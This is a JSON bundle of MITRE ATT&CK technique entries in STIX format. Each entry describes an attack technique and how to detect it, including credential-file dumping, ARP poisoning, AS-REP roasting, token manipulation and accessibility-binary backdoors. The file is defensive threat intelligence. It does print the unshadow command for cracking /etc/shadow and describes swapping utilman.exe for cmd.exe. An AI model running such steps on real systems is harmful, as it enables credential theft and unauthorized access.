{
    "type": "bundle",
    "id": "bundle--696d2fed-13d8-475a-8d51-23e1033a92e1",
    "spec_version": "2.0",
    "objects": [
        {
            "created": "2020-02-11T18:46:56.263Z",
            "modified": "2020-03-20T15:56:55.022Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4",
            "description": "Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information including password hashes in <code>/etc/shadow</code>. By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) <code># /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>\n",
            "name": "/etc/passwd and /etc/shadow",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://attack.mitre.org/techniques/T1003/008",
                    "external_id": "T1003.008",
                    "source_name": "mitre-attack"
                },
                {
                    "description": "The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.",
                    "url": "https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html",
                    "source_name": "Linux Password and Shadow File Formats"
                },
                {
                    "description": "Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.",
                    "url": "https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/",
                    "source_name": "nixCraft - John the Ripper"
                }
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_permissions_required": [
                "root"
            ],
            "x_mitre_detection": "The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access <code>/etc/passwd</code> and <code>/etc/shadow</code>, alerting on the pid, process name, and arguments of such programs.",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Access"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1557.002",
                    "url": "https://attack.mitre.org/techniques/T1557/002"
                },
                {
                    "source_name": "RFC826 ARP",
                    "url": "https://tools.ietf.org/html/rfc826",
                    "description": "Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020."
                },
                {
                    "source_name": "Sans ARP Spoofing Aug 2003",
                    "url": "https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411",
                    "description": "Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020."
                },
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "ARP Cache Poisoning",
            "description": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to man-in-the-middle (MiTM) network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n",
            "id": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2021-04-21T16:41:35.256Z",
            "created": "2020-10-15T12:05:58.755Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_contributors": [
                "Jon Sternstein, Stern Security"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1558.004",
                    "url": "https://attack.mitre.org/techniques/T1558/004"
                },
                {
                    "source_name": "Harmj0y Roasting AS-REPs Jan 2017",
                    "url": "http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/",
                    "description": "HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August 24, 2020."
                },
                {
                    "source_name": "Microsoft Kerberos Preauth 2014",
                    "url": "https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx",
                    "description": "Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020."
                },
                {
                    "source_name": "Stealthbits Cracking AS-REP Roasting Jun 2019",
                    "url": "https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/",
                    "description": "Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020."
                },
                {
                    "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
                    "source_name": "SANS Attacking Kerberos Nov 2014",
                    "url": "https://redsiege.com/kerberoast-slides"
                },
                {
                    "url": "https://adsecurity.org/?p=2293",
                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                    "source_name": "AdSecurity Cracking Kerberos Dec 2015"
                },
                {
                    "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
                    "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
                    "source_name": "Microsoft Detecting Kerberoasting Feb 2018"
                },
                {
                    "source_name": "Microsoft 4768 TGT 2017",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768",
                    "description": "Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "AS-REP Roasting",
            "description": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",
            "id": "attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-10-20T19:30:11.783Z",
            "created": "2020-08-24T13:43:00.028Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_system_requirements": [
                "Valid domain account"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)",
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Credential Request"
            ],
            "x_mitre_contributors": [
                "James Dunn, @jamdunnDFW, EY",
                "Swapnil Kumbhar",
                "Jacques Pluviose, @Jacqueswildy_IT",
                "Dan Nutting, @KerberToast"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1548",
                    "url": "https://attack.mitre.org/techniques/T1548"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Abuse Elevation Control Mechanism",
            "description": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.",
            "id": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-07-22T21:36:52.825Z",
            "created": "2020-01-30T13:58:14.373Z",
            "x_mitre_data_sources": [
                "Process: Process Metadata",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "File: File Metadata",
                "File: File Modification",
                "Process: OS API Execution"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nConsider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\n\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.\n\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1134",
                    "url": "https://attack.mitre.org/techniques/T1134"
                },
                {
                    "external_id": "CAPEC-633",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/633.html"
                },
                {
                    "url": "https://pentestlab.blog/2017/04/03/token-manipulation/",
                    "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.",
                    "source_name": "Pentestlab Token Manipulation"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
                    "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
                    "source_name": "Microsoft Command-line Logging"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx",
                    "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
                    "source_name": "Microsoft LogonUser"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx",
                    "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
                    "source_name": "Microsoft DuplicateTokenEx"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx",
                    "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.",
                    "source_name": "Microsoft ImpersonateLoggedOnUser"
                },
                {
                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf",
                    "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.",
                    "source_name": "BlackHat Atkinson Winchester Token Manipulation"
                }
            ],
            "description": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.",
            "name": "Access Token Manipulation",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-04-24T13:40:52.952Z",
            "created": "2017-12-14T16:46:06.044Z",
            "x_mitre_defense_bypassed": [
                "Windows User Account Control",
                "System access controls",
                "File system access controls",
                "Heuristic Detection",
                "Host forensic analysis"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "2.0",
            "x_mitre_contributors": [
                "Tom Ueltschi @c_APT_ure",
                "Travis Smith, Tripwire",
                "Robby Winchester, @robwinchester3",
                "Jared Atkinson, @jaredcatkinson"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Process: Process Metadata",
                "Process: OS API Execution",
                "User Account: User Account Metadata",
                "Active Directory: Active Directory Object Modification",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code>(Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code>(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.",
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_effective_permissions": [
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1015",
                    "url": "https://attack.mitre.org/techniques/T1015"
                },
                {
                    "external_id": "CAPEC-558",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/558.html"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.",
                    "source_name": "FireEye Hikit Rootkit"
                },
                {
                    "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom",
                    "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
                    "source_name": "DEFCON2016 Sticky Keys"
                },
                {
                    "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/",
                    "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.",
                    "source_name": "Tilbury 2014"
                }
            ],
            "name": "Accessibility Features",
            "id": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-05-13T20:37:30.008Z",
            "created": "2017-05-31T21:30:26.946Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1546.008",
                    "url": "https://attack.mitre.org/techniques/T1546/008"
                },
                {
                    "external_id": "CAPEC-558",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/558.html"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.",
                    "source_name": "FireEye Hikit Rootkit"
                },
                {
                    "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom",
                    "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
                    "source_name": "DEFCON2016 Sticky Keys"
                },
                {
                    "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/",
                    "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.",
                    "source_name": "Tilbury 2014"
                },
                {
                    "source_name": "Narrator Accessibility Abuse",
                    "url": "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html",
                    "description": "Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Accessibility Features",
            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>",
            "id": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-05-13T20:37:30.048Z",
            "created": "2020-01-24T14:32:40.315Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_effective_permissions": [
                "SYSTEM"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code>.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "File: File Creation",
                "File: File Modification"
            ],
            "x_mitre_contributors": [
                "Paul Speulstra, AECOM Global Security Operations Center"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "created": "2019-10-09T18:48:31.906Z",
            "modified": "2020-07-14T19:15:29.911Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0",
            "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n\nAdversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)",
            "name": "Account Access Removal",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://attack.mitre.org/techniques/T1531",
                    "source_name": "mitre-attack",
                    "external_id": "T1531"
                },
                {
                    "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.",
                    "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/",
                    "source_name": "CarbonBlack LockerGoga 2019"
                },
                {
                    "source_name": "Unit42 LockerGoga 2019",
                    "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/",
                    "description": "Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019."
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "User Account: User Account Deletion",
                "User Account: User Account Modification",
                "Active Directory: Active Directory Object Modification"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "root",
                "SYSTEM"
            ],
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\n\n* Event ID 4723 - An attempt was made to change an account's password\n* Event ID 4724 - An attempt was made to reset an account's password\n* Event ID 4726 - A user account was deleted\n* Event ID 4740 - A user account was locked out\n\nAlerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.",
            "x_mitre_is_subtechnique": false
        },
        {
            "id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Account Discovery",
            "description": "Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1087",
                    "url": "https://attack.mitre.org/techniques/T1087"
                },
                {
                    "external_id": "CAPEC-575",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/575.html"
                },
                {
                    "source_name": "Elastic - Koadiac Detection with EQL",
                    "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql",
                    "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-04-14T12:26:11.595Z",
            "created": "2017-05-31T21:31:06.988Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
